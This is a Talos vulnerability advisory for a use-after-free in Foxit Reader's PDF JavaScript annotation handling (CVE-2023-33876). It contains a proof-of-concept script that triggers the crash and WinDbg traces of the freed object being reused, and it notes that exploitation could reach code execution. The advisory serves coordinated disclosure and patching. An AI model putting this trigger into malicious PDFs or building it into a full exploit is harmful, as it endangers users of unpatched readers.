Talos Vulnerability Report

TALOS-2023-1796

Foxit Reader Javascript annotation destruction use-after-free vulnerability

July 19, 2023
CVE Number

CVE-2023-33876

SUMMARY

A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15332 handles destroying annotations. Specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.2.15332

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

function main() { 

 this.addAnnot( {page: 0, type: "Line"})
 this.addAnnot({page: 1, type: "Stamp"});

 getField("txt1").setAction("OnBlur",'annot_destroy();');
 app.activeDocs[0].getField('txt1').setFocus(); 
 this.addAnnot({page: 2, type: "Caret", popupOpen : true}); 
 app.activeDocs[0].getField('txt1').setFocus(); 

 this.addAnnot({page: 0, type: "Stamp", });

}

function annot_destroy(arg1, arg2, arg3) {

 this.pageNum = 2; 
 this.getAnnots()[2].destroy();

}

The above code first creates annotation objects. Next, it assigns a callback function to txt1 on the action OnBlur, which is promptly triggered by calls to setFocus. In the action callback, it accesses an annotation object and destroys it, which in turn ends up freeing a large number of objects. The use-after-free condition occurs when a recently freed object is accessed without any validation. We can observe the following in the debugger (with PageHeap enabled):

0:000> g
Breakpoint 1 hit
eax=04a53538 ebx=2a692da0 ecx=1c652f30 edx=2123cf70 esi=2dc18ff8 edi=2a692f7c
eip=0087cade esp=0773f7b8 ebp=0773f810 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7d9e:
0087cade 52              push    edx                                                     ; [1]
0:000> dd edx
2123cf70  04ad7448 2dc18ff8 36b606e0 2c60ef60
2123cf80  c0c0c000 ffffffff 0c76cf08 01000101
2123cf90  00000004 00000000 1a066ff0 00000000
2123cfa0  35854fa0 00000000 00000000 00000000
2123cfb0  00000000 323deff0 00000000 36108ff0
2123cfc0  00000000 00000000 090607e7 f808000c
2123cfd0  c0c00000 00000000 c0c0c000 33264fe8
2123cfe0  36b606e0 c0c0c001 3f800000 00000000
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7d9e:
0087cade 52              push    edx
0087cadf 8b404c          mov     eax,dword ptr [eax+4Ch]
0087cae2 ffd0            call    eax                                                   ; [2]
0087cae4 84c0            test    al,al
0087cae6 7437            je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7ddf (0087cb1f)
0087cae8 85f6            test    esi,esi
0087caea 7404            je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7db0 (0087caf0)
0087caec 8b06            mov     eax,dword ptr [esi]


0:000> g
Breakpoint 0 hit
eax=0773ec58 ebx=0773ecc4 ecx=02951ce0 edx=00000000 esi=136c0ff8 edi=0c9b8ff8
eip=02c7e239 esp=0773ec30 ebp=0773ec70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02c7e239 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0xf14c20 (02951ce0)} ; [3]
0:000> g
Breakpoint 0 hit
eax=0773ec58 ebx=0773ecc4 ecx=02a065b0 edx=00000000 esi=170f3ff8 edi=3326aff8
eip=02c7e239 esp=0773ec30 ebp=0773ec70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02c7e239 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0xfc94f0 (02a065b0)};  [4]
0:000> g
Breakpoint 2 hit
eax=1c656ff0 ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2a694ff8 edi=2123cf70
eip=00eb2300 esp=0773f720 ebp=0773f7ac iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a60:
00eb2300 57              push    edi                                                     
0:000> dd edi                                                                            ; [5]
2123cf70  ???????? ???????? ???????? ????????
2123cf80  ???????? ???????? ???????? ????????
2123cf90  ???????? ???????? ???????? ????????
2123cfa0  ???????? ???????? ???????? ????????
2123cfb0  ???????? ???????? ???????? ????????
2123cfc0  ???????? ???????? ???????? ????????
2123cfd0  ???????? ???????? ???????? ????????
2123cfe0  ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a60:
00eb2300 57              push    edi                                                     ; [6]
00eb2301 8b01            mov     eax,dword ptr [ecx]
00eb2303 8b4028          mov     eax,dword ptr [eax+28h]
00eb2306 ffd0            call    eax                                                    ; [7]
00eb2308 84c0            test    al,al
00eb230a 7410            je      FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a7c (00eb231c)
00eb230c 8b4dd8          mov     ecx,dword ptr [ebp-28h]
00eb230f 6a00            push    0

At [1] above, we see the second argument of the function at [2] being pushed onto the stack. The value being pushed comes from the register edx. If we continue the execution, an annotation object is fetched by calling Doc.getAnnots at [5]. The objects associated with the annotation object are freed by calling Annotation.destroy at [4]. Later, the value passed to the function is checked at [5]. It can be observed that the memory pointed to by the register edi is freed. At [6], the value in edi is being pushed onto the stack as an argument to the function at [7]. The function called at [7] uses this value without any validation. This can be observed in a debugger at the time of the crash:

0:000> p
eax=01252830 ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2a694ff8 edi=2123cf70
eip=00eb2306 esp=0773f71c ebp=0773f7ac iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a66:
00eb2306 ffd0            call    eax {FoxitPDFReader!CryptUIWizExport+0x242ae0 (01252830)}
0:000> 
(23c0.14d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0773f6fc ebx=1c652f30 ecx=1cb14fa0 edx=04a544e4 esi=2123cf70 edi=2123cf70
eip=012522bd esp=0773f650 ebp=0773f708 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
FoxitPDFReader!CryptUIWizExport+0x24256d:
012522bd 8b06            mov     eax,dword ptr [esi]  ds:002b:2123cf70=????????
0:000> u
FoxitPDFReader!CryptUIWizExport+0x24256d:
012522bd 8b06            mov     eax,dword ptr [esi]
012522bf 8bce            mov     ecx,esi
012522c1 ff5008          call    dword ptr [eax+8]
012522c4 8bf8            mov     edi,eax
012522c6 85ff            test    edi,edi
012522c8 74df            je      FoxitPDFReader!CryptUIWizExport+0x242559 (012522a9)
012522ca c745e800000000  mov     dword ptr [ebp-18h],0
012522d1 c745fc00000000  mov     dword ptr [ebp-4],0
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0773f708 0125283b     2123cf70 0773f7ac 00eb2308 FoxitPDFReader!CryptUIWizExport+0x24256d
01 0773f714 00eb2308     2123cf70 7b92b16e 2a692f7c FoxitPDFReader!CryptUIWizExport+0x242aeb
02 0773f7ac 0087cae4     2123cf70 7b92bed2 7fffffff FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7a68
03 0773f810 00a151b1     2dc18ff8 36b634c0 00a15180 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7da4
04 0773f824 040cd52b     35852ff8 00000000 7b92be36 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626a1
05 0773f8f4 040ce704     00000427 35852ff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
06 0773f918 040c90aa     00000427 35852ff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
07 0773f98c 040c991d     3b256e20 000a0404 00000427 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
08 0773f9ac 76dd23a3     000a0404 00000427 35852ff8 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
09 0773f9d8 76dc30b6     040c98e9 000a0404 00000427 USER32!_InternalCallWinProc+0x2b
0a 0773fad0 76dc1975     040c98e9 00000000 00000427 USER32!UserCallWinProcCheckWow+0x4c6
0b 0773fb4c 76dc14c0     00000427 0773fb74 0099d3c4 USER32!DispatchMessageWorker+0x4a5
0c 0773fb58 0099d3c4     0f452ec8 0f452ec8 05f37798 USER32!DispatchMessageW+0x10
0d 0773fb74 0099d483     05f37798 0099d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
0e 0773fb94 044eb2fe     00000000 05f63b14 074ce000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
0f 0773fbac 042b0cc0     00580000 00000000 0c254360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
10 0773fbf8 75f67d59     074ce000 75f67d40 0773fc60 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
11 0773fc08 772fb74b     074ce000 533efd0d 00000000 KERNEL32!BaseThreadInitThunk+0x19
12 0773fc60 772fb6cf     ffffffff 7732867f 00000000 ntdll!__RtlUserThreadStart+0x2b
13 0773fc70 00000000     042b0d8f 074ce000 00000000 ntdll!_RtlUserThreadStart+0x1b

In the above debugger output, we can observe esi contains the same memory pointer, which belongs to a freed allocation. The value in esi is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable function call with the actual function pointer coming from an area pointed to by esi, which would give an attacker direct control over execution control flow.

Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

VENDOR RESPONSE

Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/

TIMELINE

2023-07-03 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release

Credit

Discovered by Kamlapati Choubey and Aleksandar Nikolic of Cisco Talos.